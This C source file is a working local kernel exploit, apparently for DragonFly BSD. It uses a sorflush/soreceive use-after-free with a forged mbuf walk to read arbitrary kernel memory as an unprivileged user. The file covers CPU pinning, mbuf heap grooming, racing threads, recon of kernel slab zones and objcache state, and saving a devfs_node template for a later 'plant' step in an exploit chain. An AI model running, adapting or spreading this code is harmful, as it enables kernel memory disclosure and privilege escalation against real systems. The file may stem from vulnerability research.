/*
 * DF-2694 leak engine — recon variant for the DF-3017 chain composition.
 *
 * Same verified weaponization as findings/poc/DF-2694/df2694_leak.c
 * (sorflush/soreceive UAF -> forged-mbuf walk -> 14336-byte arbitrary
 * kernel-memory read, MSG_PEEK clean exit), adapted to:
 *   - N-cpu aware unprivileged pinning (usched_set USCHED_DEL_CPU)
 *   - a target LIST with per-hit dumps, for allocator-state recon:
 *       cpu0 globaldata (ZoneAry), SLZone headers of the 320-class list,
 *       devfs_dev_cache objcache state
 *
 * usage: df2694_recon <hex[:label]> [hex[:label]...] [-- rounds d0 dstep]
 * out:   /tmp/recon.<label>.bin (14336 bytes @ target) per hit
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/uio.h>
#include <sys/usched.h>
#include <sys/sysctl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>

#ifndef USCHED_DEL_CPU
#define USCHED_DEL_CPU 3
#endif

#define RLEN	  (512 * 1024)
#define LEAKLEN   14336
#define LEAKOFF   2048
#define NIOV	  32
#define CHUNK	  2048
#define QN	  200
#define HOLD_N    17000
#define FREE_N    6000
#define NHOLD	  260
#define NPAIRS    96

static int NCPU = 2;

static double now_us(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ((double)ts.tv_sec * 1e6 + (double)ts.tv_nsec / 1e3);
}

static void busy_us(int us)
{
	double t0 = now_us();
	while (now_us() - t0 < (double)us)
		/* spin */;
}

/* delete every cpu except `keep` (unprivileged; kern_usched.c:303) */
static void pin_keep_cpu(int keep)
{
	int c;
	for (c = 0; c < NCPU; c++) {
		if (c == keep)
			continue;
		usched_set(0, USCHED_DEL_CPU, &c, sizeof(c));
	}
}

/* ---------------- holders ----------------------------------------- */
static struct iovec g_iov[NIOV];
static int holdpipe[2];
static pthread_mutex_t go_mtx = PTHREAD_MUTEX_INITIALIZER;
static pthread_cond_t go_cv = PTHREAD_COND_INITIALIZER;
static volatile unsigned round_seq;
static volatile int gowait, stopall;

static void *holder_fn(void *v __unused)
{
	unsigned seen = 0;
	pin_keep_cpu(1);			/* holders+main on cpu1 */
	for (;;) {
		pthread_mutex_lock(&go_mtx);
		++gowait;
		while (round_seq == seen)
			pthread_cond_wait(&go_cv, &go_mtx);
		seen = round_seq;
		pthread_mutex_unlock(&go_mtx);
		readv(holdpipe[0], g_iov, NIOV);	/* blocks; EINTR on kill */
		if (stopall)
			break;
	}
	return NULL;
}

/* ---------------- reader ------------------------------------------ */
struct rarg {
	int fd;
	void *buf;
	size_t len;
	ssize_t n;
	int err;
	double t_copy;
	double t_entry;
	volatile int go;
};
static struct rarg g_ra;
static volatile int ra_done;
static double g_tgo, g_flusht;

static void *reader_fn(void *v __unused)
{
	double t0;
	pin_keep_cpu(0);			/* reader on cpu0 */
	for (;;) {
		while (!g_ra.go)
			/* spin */;
		g_ra.t_entry = now_us() - g_tgo;
		t0 = now_us();
		g_ra.n = recv(g_ra.fd, g_ra.buf, g_ra.len, MSG_PEEK);
		g_ra.t_copy = now_us() - t0;
		g_ra.err = errno;
		g_ra.go = 0;
		ra_done = 1;
	}
	return NULL;
}

static void set_bufs(int fd)
{
	int b = 512 * 1024;
	setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &b, sizeof(b));
	setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &b, sizeof(b));
}

static void usr2h(int sig __unused) { }

#define MAXT 16
struct tgt { unsigned long addr; char label[32]; int done; };

/* DWARF-verified offsets (stock kernel; see offsets2.c gdb session) */
#define GD0_ADDR      0xffffffff8113d620UL	/* CPU_prvspace[0] */
#define OCP_ADDR      0xffffffff8159e890UL	/* devfs_dev_cache (ptr) */
#define GD_SLAB_OFF   0x2f00
#define ZI320         25
#define ZI240         22		/* devfs_node class: 232 -> 240 */
/* struct devfs_node offsets (DWARF-verified) */
#define N_DDEV   0
#define N_MP     8
#define N_VNODE  0x28
#define N_TYPE   0x38
#define N_UID    0x84
#define Z_MAGIC 0
#define Z_CPU   4
#define Z_NFREE 0x28
#define Z_NMAX  0x2c
#define Z_BASE  0x30
#define Z_CHUNK 0x40
#define Z_ZIND  0x44
#define Z_LCHUNKS 0x50
#define Z_RCHUNKS 0x60
#define Z_RSIGNAL 0x68
#define Z_NEXT  0x10		/* z_Entry.tqe_next */

static struct tgt tg[MAXT];
static int ntgt = 0;
static int nzones;	/* zone25 chase counter */
static int nnodes;	/* zone22 chase counter */

static int
tfind(const char *label)
{
	int i;
	for (i = 0; i < ntgt; i++)
		if (!strcmp(tg[i].label, label))
			return i;
	return -1;
}

static void
tenq(unsigned long addr, const char *label)
{
	if (addr == 0 || (addr >> 48) != 0xffff)
		return;
	if (tfind(label) >= 0)
		return;
	if (ntgt >= MAXT)
		return;
	snprintf(tg[ntgt].label, sizeof(tg[ntgt].label), "%s", label);
	tg[ntgt].addr = addr;
	tg[ntgt].done = 0;
	ntgt++;
	printf("[+] enqueue %s @ %#lx\n", label, addr);
}

static void
tenq_zone(unsigned long addr)
{
	char lb[16];
	if (nzones >= 8)
		return;
	snprintf(lb, sizeof(lb), "zone%d", nzones++);
	tenq(addr, lb);
}

static void
tenq_nzone(unsigned long addr)
{
	char lb[16];
	if (nnodes >= 4)
		return;
	snprintf(lb, sizeof(lb), "nzone%d", nnodes++);
	tenq(addr, lb);
}

/* parse a hit window for known shapes; enqueue follow-ups */
static void
tparse(const char *label, const unsigned char *win)
{
	unsigned long v;
	if (!strcmp(label, "gd0")) {
		v = *(const unsigned long *)(win + GD_SLAB_OFF + ZI320 * 16);
		printf("[*] cpu0 gd_cpuid=%u ZoneAry[25].tqh_first=%#lx\n",
		    *(const unsigned *)(win + 0x48), v);
		tenq_zone(v);
		v = *(const unsigned long *)(win + GD_SLAB_OFF + ZI240 * 16);
		printf("[*] cpu0 ZoneAry[22] (node class).tqh_first=%#lx\n", v);
		tenq_nzone(v);
	} else if (!strcmp(label, "ntpl")) {
		/* window base = a freed node chunk; first 232 bytes are
		 * the stale devfs_node template (real mp, Ndev type) */
		int nt = *(const int *)(win + N_TYPE);
		unsigned long mp = *(const unsigned long *)(win + N_MP);
		unsigned int uid = *(const unsigned *)(win + N_UID);
		printf("[ntpl] node_type=%d mp=%#lx uid=%u\n", nt, mp, uid);
		if (nt == 4 && (mp >> 48) == 0xffff) {
			FILE *lf = fopen("/tmp/recon.node.tpl", "w");
			if (lf) {
				fwrite(win, 1, 232, lf);
				fclose(lf);
			}
			printf("[PLAN] node template saved "
			    "(mp=%#lx) -> /tmp/recon.node.tpl\n", mp);
		}
	} else if (!strncmp(label, "nzone", 5)) {
		int idx = atoi(label + 5);
		printf("[n%d] %#lx magic=%#x cpu=%u zi=%u chunk=%u nfree=%u/%u "
		    "lchunks=%#lx\n",
		    idx, tg[tfind(label)].addr,
		    *(const unsigned *)(win + Z_MAGIC),
		    *(const unsigned *)(win + Z_CPU),
		    *(const unsigned *)(win + Z_ZIND),
		    *(const unsigned *)(win + Z_CHUNK),
		    *(const unsigned *)(win + Z_NFREE),
		    *(const unsigned *)(win + Z_NMAX),
		    *(const unsigned long *)(win + Z_LCHUNKS));
		v = *(const unsigned long *)(win + Z_LCHUNKS);
		if (v)
			tenq(v, "ntpl");
	} else if (!strncmp(label, "zone", 4)) {
		int idx = atoi(label + 4);
		printf("[z%d] %#lx magic=%#x cpu=%u zi=%u chunk=%u nfree=%u/%u "
		    "lchunks=%#lx rchunks=%#lx rsignal=%u\n",
		    idx, tg[tfind(label)].addr,
		    *(const unsigned *)(win + Z_MAGIC),
		    *(const unsigned *)(win + Z_CPU),
		    *(const unsigned *)(win + Z_ZIND),
		    *(const unsigned *)(win + Z_CHUNK),
		    *(const unsigned *)(win + Z_NFREE),
		    *(const unsigned *)(win + Z_NMAX),
		    *(const unsigned long *)(win + Z_LCHUNKS),
		    *(const unsigned long *)(win + Z_RCHUNKS),
		    *(const unsigned *)(win + Z_RSIGNAL));
		v = *(const unsigned long *)(win + Z_NEXT);
		if (v)
			tenq_zone(v);
	} else if (!strcmp(label, "ocp")) {
		v = *(const unsigned long *)(win + 0);
		printf("[*] devfs_dev_cache = %#lx\n", v);
		tenq(v, "oc");
	} else if (!strcmp(label, "oc")) {
		printf("[*] objcache: fullmag=%#lx emptymag=%#lx magcap=%u "
		    "unalloc=%u cluster=%u pcpu0.loaded=%#lx prev=%#lx "
		    "pcpu1.loaded=%#lx prev=%#lx\n",
		    *(const unsigned long *)(win + 0x40),
		    *(const unsigned long *)(win + 0x48),
		    *(const unsigned *)(win + 0x50),
		    *(const unsigned *)(win + 0x5c),
		    *(const unsigned *)(win + 0x60),
		    *(const unsigned long *)(win + 0x80),
		    *(const unsigned long *)(win + 0x88),
		    *(const unsigned long *)(win + 0xc0),
		    *(const unsigned long *)(win + 0xc8));
	}
}

int
main(int argc, char **argv)
{
	int argi;
	int rounds = 96, dstart = 2500, dstep = 600;
	int r, i, j, hits = 0;
	void *pool;
	size_t poolsz;
	int pen[NPAIRS][2];
	pthread_t holdth[NHOLD], rt;
	char vblk[CHUNK];
	static char penblk[NPAIRS][CHUNK];
	long refill_pen = 0;
	size_t pig_mb = 6500;

	setvbuf(stdout, NULL, _IOLBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
	signal(SIGPIPE, SIG_IGN);
	{
		struct sigaction sa;
		memset(&sa, 0, sizeof(sa));
		sa.sa_handler = usr2h;
		sigemptyset(&sa.sa_mask);
		sigaction(SIGUSR2, &sa, NULL);
	}
	{
		size_t sz = sizeof(NCPU);
		if (sysctlbyname("hw.ncpu", &NCPU, &sz, NULL, 0) != 0)
			NCPU = 2;
	}

	/* fixed recon script: cpu0 globaldata + cdev objcache, then the
	 * chase enqueues the 320-class zones automatically.  Extra targets
	 * may be given on the command line (hex:label) — e.g. the plant
	 * verify read of the tail-zone head chunk. */
	tenq(GD0_ADDR, "gd0");
	tenq(OCP_ADDR, "ocp");
	for (argi = 1; argi < argc && ntgt < MAXT; argi++) {
		char *a = argv[argi];
		char *colon = strchr(a, ':');
		if (!colon)
			continue;
		*colon = 0;
		tenq(strtoul(a, NULL, 16), colon + 1);
	}
	{
		const char *e;
		if ((e = getenv("ROUNDS")) != NULL)
			rounds = atoi(e);
		if ((e = getenv("DSTART")) != NULL)
			dstart = atoi(e);
		if ((e = getenv("DSTEP")) != NULL)
			dstep = atoi(e);
		if ((e = getenv("PIG_MB")) != NULL)
			pig_mb = (size_t)atoi(e);
	}
	if (ntgt == 0) {
		fprintf(stderr, "usage: %s [hex:label ...]\n", argv[0]);
		return 2;
	}
	printf("DF-2694 recon: ncpu=%d targets=%d rounds=%d delay=%d+%dus "
	    "pig=%zuMB uid=%d\n", NCPU, ntgt, rounds, dstart, dstep, pig_mb,
	    getuid());

	{
		if (pthread_create(&rt, NULL, reader_fn, NULL) != 0) {
			printf("reader create failed\n");
			return 1;
		}
		usleep(50000);
	}
	pin_keep_cpu(1);
	printf("main pinned to cpu1 (reader on cpu0)\n");

	poolsz = (size_t)RLEN * (size_t)(rounds + 1);
	pool = mmap(NULL, poolsz, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (pool == MAP_FAILED) {
		perror("pool mmap");
		return 1;
	}
	memset(pool, 0x55, poolsz);
	{
		size_t pig = pig_mb << 20;
		char *p = mmap(NULL, pig, PROT_READ | PROT_WRITE,
		    MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p != MAP_FAILED) {
			memset(p, 1, pig);
			munmap(p, pig);
		} else
			perror("pig mmap");
	}
	printf("pool swapped out\n");

	if (pipe(holdpipe) < 0) {
		perror("holdpipe");
		return 1;
	}

	memset(g_iov, 0, sizeof(g_iov));
	g_iov[0].iov_base = NULL;
	g_iov[1].iov_len = 0x00004000;
	g_iov[2].iov_base = (void *)0x1;
	for (i = 3; i < NIOV; i++)
		g_iov[i].iov_base = (void *)0x1;

	for (i = 0; i < NPAIRS; i++) {
		if (socketpair(AF_UNIX, SOCK_STREAM, 0, pen[i]) < 0) {
			perror("pen socketpair");
			return 1;
		}
		set_bufs(pen[i][0]);
		set_bufs(pen[i][1]);
	}
	memset(vblk, 'V', CHUNK);
	for (i = 0; i < NPAIRS; i++)
		memset(penblk[i], 'a' + (i % 26), CHUNK);
	printf("holding %d cluster mbufs (depot drain)...\n", HOLD_N);
	{
		int held = 0;
		for (i = 0; i < HOLD_N * 2 && held < HOLD_N; i++) {
			int k = held % NPAIRS;
			ssize_t n = send(pen[k][1], penblk[k], CHUNK, MSG_DONTWAIT);
			if (n == CHUNK) {
				held++;
				continue;
			}
			if (errno == EAGAIN || errno == EWOULDBLOCK) {
				int any = 0, k2;
				for (k2 = 0; k2 < NPAIRS; k2++) {
					n = send(pen[k2][1], penblk[k2], CHUNK,
					    MSG_DONTWAIT);
					if (n == CHUNK) {
						held++;
						any = 1;
						break;
					}
				}
				if (!any)
					break;
			} else
				break;
		}
		printf("held %d\n", held);
	}
	printf("freeing %d (kfree-direct burst)...\n", FREE_N);
	{
		char drain[CHUNK];
		int freed = 0;
		for (i = 0; i < FREE_N * 2 && freed < FREE_N; i++) {
			int k = i % NPAIRS;
			if (recv(pen[k][0], drain, CHUNK, MSG_DONTWAIT) == CHUNK)
				freed++;
		}
		printf("freed %d\n", freed);
	}

	for (i = 0; i < NHOLD; i++) {
		if (pthread_create(&holdth[i], NULL, holder_fn, NULL) != 0) {
			printf("holder create failed at %d\n", i);
			return 1;
		}
	}
	while (gowait < NHOLD)
		usleep(1000);
	printf("%d holders parked\n", NHOLD);

	for (r = 0; r < rounds; r++) {
		int live = 0;
		for (i = 0; i < ntgt; i++)
			if (!tg[i].done)
				live++;
		if (live == 0)
			break;
		int ti = -1;
		for (i = 0; i < ntgt; i++) {
			int idx = (r + i) % ntgt;
			if (!tg[idx].done) { ti = idx; break; }
		}
		if (ti < 0)
			break;

		int sv[2], delay = dstart + (r % 12) * dstep;
		char *rbuf = (char *)pool + (size_t)RLEN * (size_t)r;
		unsigned long rtgt = tg[ti].addr;
		ssize_t n;
		int leak_len, sent;

		g_iov[1].iov_base = (void *)rtgt;

		if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
			perror("victim socketpair");
			break;
		}
		set_bufs(sv[0]);
		set_bufs(sv[1]);

		for (sent = 0; sent < QN; sent++)
			if (send(sv[1], vblk, CHUNK, MSG_DONTWAIT) != CHUNK)
				break;
		if (sent < QN) {
			printf("r%02d: only %d queued\n", r, sent);
			close(sv[0]);
			close(sv[1]);
			continue;
		}

		{
			char drain[CHUNK];
			int freed = 0, alloc = 0;
			for (i = 0; i < 5600 && alloc < 3000; i++) {
				int k = alloc % NPAIRS;
				penblk[k][0] = (char)r;
				if (send(pen[k][1], penblk[k], CHUNK,
				    MSG_DONTWAIT) == CHUNK)
					alloc++;
			}
			for (i = 0; i < 6900 && freed < 4400; i++) {
				int k = i % NPAIRS;
				if (recv(pen[k][0], drain, CHUNK,
				    MSG_DONTWAIT) == CHUNK)
					freed++;
			}
			refill_pen += freed;
		}

		{
			int nq = -1;
			ioctl(sv[0], FIONREAD, &nq);
			if (nq < 8192) {
				close(sv[0]);
				close(sv[1]);
				continue;
			}
		}

		{
			int spins = 0;
			while (gowait < NHOLD && spins++ < 4000)
				usleep(1000);
		}
		pthread_mutex_lock(&go_mtx);
		round_seq++;
		pthread_cond_broadcast(&go_cv);
		pthread_mutex_unlock(&go_mtx);
		usleep(3000);
		for (i = 0; i < NHOLD; i++)
			pthread_kill(holdth[i], SIGUSR2);
		usleep(3000);
		g_ra.fd = sv[0];
		g_ra.buf = rbuf;
		g_ra.len = RLEN;
		g_ra.n = -1;
		g_ra.t_copy = 0;
		ra_done = 0;
		g_ra.t_entry = -1;
		g_tgo = now_us();
		g_ra.go = 1;
		busy_us(delay);

		g_flusht = now_us();
		shutdown(sv[0], SHUT_RD);

		{
			int spins = 0;
			while (!ra_done && spins++ < 8000)
				usleep(1000);
		}
		n = g_ra.n;

		{
			int spins = 0;
			while (gowait < NHOLD && spins++ < 4000)
				usleep(1000);
		}

		leak_len = (n == (ssize_t)(LEAKOFF + LEAKLEN)) ? LEAKLEN :
		    ((n > LEAKOFF) ? (int)(n - LEAKOFF) : 0);
		printf("r%02d tgt=%s delay=%5dus recv=%zd leak=%d err=%d\n",
		    r, tg[ti].label, delay, n, leak_len, g_ra.err);

		if (leak_len > 0) {
			int best = -1;
			for (j = 2048; j + 2 * LEAKLEN <= (int)n; j += 128) {
				if (memcmp(rbuf + j, rbuf + j + LEAKLEN,
				    LEAKLEN) != 0)
					continue;
				{
					int fresh = 0, k2;
					for (k2 = 0; k2 < LEAKLEN; k2 += 16) {
						unsigned char c = rbuf[j + k2];
						if (c != 'V' && c != 0x55 &&
						    c != 0 &&
						    !(c >= 'a' && c <= 'z'))
							fresh++;
					}
					if (fresh > LEAKLEN / 16 / 8) {
						best = j;
						break;
					}
				}
			}
			if (best >= 0) {
				char fn[128];
				FILE *lf;
				printf("r%02d *** HIT %s target=0x%016lx "
				    "at buf+%d\n", r, tg[ti].label,
				    (unsigned long)tg[ti].addr, best);
				snprintf(fn, sizeof(fn), "/tmp/recon.%s.bin",
				    tg[ti].label);
				lf = fopen(fn, "w");
				if (lf) {
					fwrite(rbuf + best, 1, LEAKLEN, lf);
					fclose(lf);
				}
				tparse(tg[ti].label,
				    (const unsigned char *)(rbuf + best));
				tg[ti].done = 1;
				hits++;
			}
		}

		close(sv[0]);
		close(sv[1]);
	}

	stopall = 1;
	pthread_mutex_lock(&go_mtx);
	round_seq++;
	pthread_cond_broadcast(&go_cv);
	pthread_mutex_unlock(&go_mtx);
	for (i = 0; i < NHOLD; i++)
		pthread_kill(holdth[i], SIGUSR2);
	printf("pen refills consumed: %ld\n", refill_pen);
	/* PLAN: tail zone = last chased zone; its head chunk = the chunk
	 * cpu0 kmalloc(320) returns next (the hammer-maintained slot). */
	if (nzones > 0) {
		char lb[16], fn[128];
		snprintf(lb, sizeof(lb), "zone%d", nzones - 1);
		int ti2 = tfind(lb);
		if (ti2 >= 0 && tg[ti2].done) {
			snprintf(fn, sizeof(fn), "/tmp/recon.%s.bin", lb);
			FILE *lf = fopen(fn, "r");
			if (lf) {
				static unsigned char zb[LEAKLEN];
				if (fread(zb, 1, LEAKLEN, lf) == LEAKLEN) {
					unsigned long head =
					    *(unsigned long *)(zb + Z_LCHUNKS);
					printf("[PLAN] tail zone=%#lx "
					    "head-chunk=%#lx (plant-verify "
					    "target)\n",
					    (unsigned long)tg[ti2].addr, head);
				}
				fclose(lf);
			}
		}
	}
	printf("done: hits=%d/%d\n", hits, ntgt);
	return (hits > 0) ? 0 : 1;
}